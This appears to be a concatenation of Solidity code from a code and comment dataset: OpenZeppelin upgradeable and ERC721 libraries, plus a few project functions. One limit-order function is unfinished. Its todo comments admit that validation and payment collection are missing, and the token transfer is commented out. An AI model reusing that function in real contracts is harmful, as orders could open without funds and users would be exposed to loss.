) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20Upgradeable.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20MetadataUpgradeable is IERC20Upgradeable {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "../beacon/IBeaconUpgradeable.sol";
import "../../utils/AddressUpgradeable.sol";
import "../../utils/StorageSlotUpgradeable.sol";
import "../utils/Initializable.sol";
/**
* @dev This abstract contract provides getters and event emitting update functions for
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
*
* _Available since v4.1._
*
* @custom:oz-upgrades-unsafe-allow delegatecall
*/
abstract contract ERC1967UpgradeUpgradeable is Initializable {
function __ERC1967Upgrade_init() internal initializer {
__ERC1967Upgrade_init_unchained();
}
function __ERC1967Upgrade_init_unchained() internal initializer {
}
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Returns the current implementation address.
*/
function _getImplementation() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Perform implementation upgrade with additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCall(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
_functionDelegateCall(newImplementation, data);
}
}
/**
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCallSecure(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
_functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
_functionDelegateCall(
newImplementation,
abi.encodeWithSignature("upgradeTo(address)", oldImplementation)
);
rollbackTesting.value = false;
// Check rollback was effective
require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
// Finally reset to the new implementation and log the upgrade
_upgradeTo(newImplementation);
}
}
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Emitted when the beacon is upgraded.
*/
event BeaconUpgraded(address indexed beacon);
/**
* @dev Returns the current beacon.
*/
function _getBeacon() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value;
}
/**
* @dev Stores a new beacon in the EIP1967 beacon slot.
*/
function _setBeacon(address newBeacon) private {
require(AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(
AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract"
);
StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
/**
* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
* not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
*
* Emits a {BeaconUpgraded} event.
*/
function _upgradeBeaconToAndCall(
address newBeacon,
bytes memory data,
bool forceCall
) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
_functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data);
}
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) {
require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed");
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeaconUpgradeable {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlotUpgradeable {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal initializer {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal initializer {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
|
* @dev Retrieves an unsigned withdrawal message. @param recipient The account to withdraw. @param token The token address to be withdrawn. @param amount The amount to be withdrawn. @param nonce The deposit bridge's deposit nonce. @param fromId The deposit bridge's ID. @param toId The withdrawal bridge's ID./
|
function getWithdrawMessage(
address recipient,
address token,
uint256 amount,
uint256 nonce,
uint256 fromId,
uint256 toId
) public pure returns (bytes32) {
return
keccak256(
abi.encodePacked(recipient, token, amount, nonce, fromId, toId)
);
}
| 5,820,112
|
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] |
./full_match/97/0x7989A152Cd6E7530ac7F341eF016e04B9688D361/sources/project_/contracts/diamond/libraries/LibLimitBook.sol
|
todo: 下单前的校验 todo: 从用户那里收钱 IERC20(odi.tokenIn).safeTransferFrom(user, address(this), odi.amountIn);
|
function openLimitOrder(IBook.OpenDataInput calldata odi) internal {
LimitBookStorage storage lbs = limitBookStorage();
address user = msg.sender;
bytes32[] storage orderHashes = lbs.userOpenOrderHashes[user];
OpenOrder memory order = OpenOrder(
user, uint32(orderHashes.length), odi.pairBase, odi.tokenIn, odi.isLong,
odi.amountIn, odi.qty, odi.price, odi.stopLoss, odi.takeProfit, odi.broker
);
bytes32 orderHash = keccak256(abi.encode(order, lbs.salt, "order"));
lbs.salt++;
lbs.openOrders[orderHash] = order;
orderHashes.push(orderHash);
emit OpenLimitOrder(user, orderHash, odi);
}
| 3,263,357
|
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// SPDX-License-Identifier: MIT
// SOME STANDARD LIBRARIES FROM OPENZEPPELIN AND THEN KLOOT
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/introspection/IERC165.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// File: @openzeppelin/contracts/introspection/ERC165.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
